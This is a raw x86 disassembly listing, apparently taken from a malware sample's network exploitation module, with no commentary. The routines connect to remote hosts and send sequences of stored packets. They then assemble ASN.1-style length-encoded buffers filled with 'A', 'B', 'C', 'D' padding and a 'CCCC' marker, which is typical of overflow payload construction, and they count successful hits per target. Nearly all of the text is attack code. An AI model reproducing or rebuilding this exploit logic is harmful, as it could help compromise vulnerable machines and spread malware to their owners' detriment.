		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417330
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417390
		mov	eax, dword_4284E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax

loc_40349C:				; CODE XREF: sub_403249+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417330
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4034DB

loc_4034D4:				; CODE XREF: sub_403249+2B9j
					; sub_403249+2E0j ...
		xor	al, al
		jmp	loc_403683
; ---------------------------------------------------------------------------

loc_4034DB:				; CODE XREF: sub_403249+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	68h
		push	offset dword_42811C
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	0A0h
		push	offset dword_428188
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		cmp	[ebp+arg_C0], ebx
		jz	loc_4035F1
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_428340
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417390
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4283AC
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417390
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_428420
		push	eax
		call	sub_417390
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403647
; ---------------------------------------------------------------------------

loc_4035F1:				; CODE XREF: sub_403249+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42822C
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417390
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4282AC
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h

loc_403647:				; CODE XREF: sub_403249+3A6j
		push	eax
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034D4
		push	12Ch
		nop
		call	near ptr 2610E42h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4030E8
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_403683:				; CODE XREF: sub_403249+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403249	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_415450
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_43ADD8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_43AD98
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403790
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_403790
		push	edi
		push	89h
		push	offset dword_427EA0
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		push	edi
		push	0A8h
		push	offset dword_427F2C
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		push	edi
		push	0DEh
		push	offset dword_427FD8
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403790
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40379A
		dec	eax
		jz	short loc_403797

loc_403790:				; CODE XREF: ___:004036EBj
					; ___:00403701j ...
		xor	eax, eax
		jmp	loc_403817
; ---------------------------------------------------------------------------

loc_403797:				; CODE XREF: ___:0040378Ej
		push	edi
		jmp	short loc_4037BE
; ---------------------------------------------------------------------------

loc_40379A:				; CODE XREF: ___:0040378Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4037DE
		push	1

loc_4037BE:				; CODE XREF: ___:00403798j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403249
		add	esp, 0C4h
		test	al, al
		jz	short loc_4037E5

loc_4037DE:				; CODE XREF: ___:004037BAj
		mov	dword ptr [ebp-4], 1

loc_4037E5:				; CODE XREF: ___:004037DCj
		push	ebx
		call	dword_43AE30
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403814
		lea	eax, [ebp-854h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_403814:				; CODE XREF: ___:004037F0j
		push	1
		pop	eax

loc_403817:				; CODE XREF: ___:00403792j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40381C	proc near		; CODE XREF: sub_403A90+Ep
					; sub_403A90+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40381C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403826	proc near		; CODE XREF: sub_403A90+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403858
		push	ebx
		push	0
		push	edi
		call	sub_417330
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_417390
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_403858:				; CODE XREF: sub_403826+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403860	proc near		; CODE XREF: sub_40395A+18p
					; sub_4039D4+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4038AC
		push	edi
		push	0
		push	esi
		call	sub_417330
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_417390
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_4038AC:				; CODE XREF: sub_403860+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038B5	proc near		; CODE XREF: sub_40395A+5Ep
					; sub_40395A+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4038C5
		push	eax
		call	sub_417C3B
		pop	ecx

loc_4038C5:				; CODE XREF: sub_4038B5+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4038B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038CE	proc near		; CODE XREF: sub_40395A+20p
					; sub_403A35+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4038FB
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4038FF

loc_4038FB:				; CODE XREF: sub_4038CE+Dj
		xor	al, al
		jmp	short loc_403956
; ---------------------------------------------------------------------------

loc_4038FF:				; CODE XREF: sub_4038CE+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403924
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40393E
; ---------------------------------------------------------------------------

loc_403924:				; CODE XREF: sub_4038CE+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40393E:				; CODE XREF: sub_4038CE+54j
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_417C3B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_403956:				; CODE XREF: sub_4038CE+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4038CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40395A	proc near		; CODE XREF: sub_403A90+89p
					; sub_403A90+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_436EF4
		call	sub_403860
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403994
		xor	al, al
		jmp	short loc_4039D0
; ---------------------------------------------------------------------------

loc_403994:				; CODE XREF: sub_40395A+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417330
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_417390
		add	esp, 18h
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4038B5
		mov	al, 1

loc_4039D0:				; CODE XREF: sub_40395A+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40395A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D4	proc near		; CODE XREF: sub_403A08+14p
					; sub_403A25+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4039D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A08	proc near		; CODE XREF: sub_403A90+F0p
					; sub_403A90+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4039D4
		pop	esi
		retn	4
sub_403A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A25	proc near		; CODE XREF: sub_403A71+Bp
					; sub_403A90+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4039D4
		retn	8
sub_403A25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A35	proc near		; CODE XREF: sub_403A71+16p
					; sub_403A90+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4038CE
		test	al, al
		jz	short loc_403A6E
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4289A7+1)
		call	sub_403860
		mov	ecx, esi
		call	sub_4038B5
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_403A6E:				; CODE XREF: sub_403A35+Fj
		pop	esi
		leave
		retn
sub_403A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A71	proc near		; CODE XREF: sub_403A90+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_403A25
		test	al, al
		jz	short loc_403A8C
		mov	ecx, esi
		call	sub_403A35

loc_403A8C:				; CODE XREF: sub_403A71+12j
		pop	esi
		retn	8
sub_403A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A90	proc near		; CODE XREF: ___:00404315p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40381C
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_403DE4
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_403DE4
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40381C
		lea	ecx, [ebp+var_20]
		call	sub_40381C
		lea	ecx, [ebp+var_50]
		call	sub_40381C
		lea	ecx, [ebp+var_18]
		call	sub_40381C
		lea	ecx, [ebp+var_40]
		call	sub_40381C
		lea	ecx, [ebp+var_38]
		call	sub_40381C
		lea	ecx, [ebp+var_28]
		call	sub_40381C
		push	4
		push	offset dword_428648
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		push	3
		push	offset dword_428650
		lea	ecx, [ebp+var_30]
		call	sub_4039D4
		lea	ecx, [ebp+var_30]
		call	sub_40395A
		lea	ecx, [ebp+var_30]
		call	sub_403A35
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_42863C
		call	sub_4039D4
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4039D4
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_20]
		call	sub_40395A
		push	offset loc_4289D0
		lea	ecx, [ebp+var_50]
		call	sub_403A08
		lea	ecx, [ebp+var_50]
		call	sub_40395A
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403826
		lea	ecx, [ebp+var_58]
		call	sub_40395A
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_403A71
		lea	ecx, [ebp+var_58]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_403A08
		push	4
		push	offset dword_428654
		lea	ecx, [ebp+var_18]
		call	sub_4039D4
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4039D4
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_18]
		call	sub_40395A
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_403A25
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_403A25
		lea	ecx, [ebp+var_40]
		call	sub_403A35
		lea	ecx, [ebp+var_18]
		call	sub_4038B5
		lea	ecx, [ebp+var_50]
		call	sub_4038B5
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_403A25
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_403A25
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_403A25
		lea	ecx, [ebp+var_38]
		call	sub_403A35
		lea	ecx, [ebp+var_20]
		call	sub_4038B5
		lea	ecx, [ebp+var_30]
		call	sub_4038B5
		lea	ecx, [ebp+var_40]
		call	sub_4038B5
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4039D4
		lea	ecx, [ebp+var_28]
		call	sub_40395A
		push	2
		push	offset dword_4289C4
		lea	ecx, [ebp+var_28]
		call	sub_4039D4
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_403A25
		lea	ecx, [ebp+var_28]
		call	sub_403A35
		lea	ecx, [ebp+var_38]
		call	sub_4038B5
		lea	ecx, [ebp+var_10]
		call	sub_40381C
		lea	ecx, [ebp+var_8]
		call	sub_40381C
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_28]
		call	sub_4038B5
		push	offset dword_4289C0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289BC
		lea	ecx, [ebp+var_10]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_10]
		call	sub_4038CE
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		push	offset dword_4289B0
		lea	ecx, [ebp+var_8]
		call	sub_403A08
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038CE
		lea	ecx, [ebp+var_10]
		call	sub_4038B5
		push	offset dword_4289AC
		lea	ecx, [ebp+var_48]
		call	sub_403A08
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_403A25
		lea	ecx, [ebp+var_8]
		call	sub_4038B5
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_403DF2
; ---------------------------------------------------------------------------

loc_403DE4:				; CODE XREF: sub_403A90+1Bj
					; sub_403A90+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_403DF2:				; CODE XREF: sub_403A90+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_403A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF6	proc near		; CODE XREF: sub_403EBA+A1p
					; sub_403EBA+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_403E5D
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_422A46
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_403E61

loc_403E5D:				; CODE XREF: sub_403DF6+54j
		xor	eax, eax
		jmp	short loc_403E71
; ---------------------------------------------------------------------------

loc_403E61:				; CODE XREF: sub_403DF6+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43ADB0

loc_403E71:				; CODE XREF: sub_403DF6+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E75	proc near		; CODE XREF: sub_403EBA+81p
					; sub_403EBA+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43AD94
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 4
		jz	short loc_403E9F
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403E9F:				; CODE XREF: sub_403E75+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43ADE8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBA	proc near		; CODE XREF: sub_403F94+48p
					; ___:00404406p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EE3
		xor	al, al
		jmp	loc_403F8F
; ---------------------------------------------------------------------------

loc_403EE3:				; CODE XREF: sub_403EBA+20j
		push	ebx
		push	0
		push	esi
		call	sub_417330
		push	2Fh
		push	offset dword_4286E4
		push	esi
		call	sub_417390
		push	8
		lea	eax, [esi+31h]
		push	offset dword_428714
		push	eax
		mov	[esi+2Fh], di
		call	sub_417390
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_417390
		push	6
		add	ebx, edi
		push	offset dword_436EEC
		push	ebx
		call	sub_417390
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42865C
		push	ebx
		call	sub_403E75
		add	esp, 48h
		test	al, al
		jnz	short loc_403F4B

loc_403F47:				; CODE XREF: sub_403EBA+B5j
		xor	bl, bl
		jmp	short loc_403F86
; ---------------------------------------------------------------------------

loc_403F4B:				; CODE XREF: sub_403EBA+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E75
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F47
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	bl, 1

loc_403F86:				; CODE XREF: sub_403EBA+8Fj
		push	esi
		call	sub_417C3B
		pop	ecx
		mov	al, bl

loc_403F8F:				; CODE XREF: sub_403EBA+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F94	proc near		; CODE XREF: ___:004043ECp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_428720
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_403FCF
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FCF
		cmp	[ebp+var_20], 82h
		jz	short loc_403FD3

loc_403FCF:				; CODE XREF: sub_403F94+1Bj
					; sub_403F94+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_403FD3:				; CODE XREF: sub_403F94+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EBA
		add	esp, 0Ch
		leave
		retn
sub_403F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE6	proc near		; CODE XREF: sub_404032+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_424278
		call	sub_417DC4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_424270
		fstp	[esp+10h+var_10]
		call	sub_417CA4
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_417DC4
		inc	eax
		leave
		retn
sub_403FE6	endp


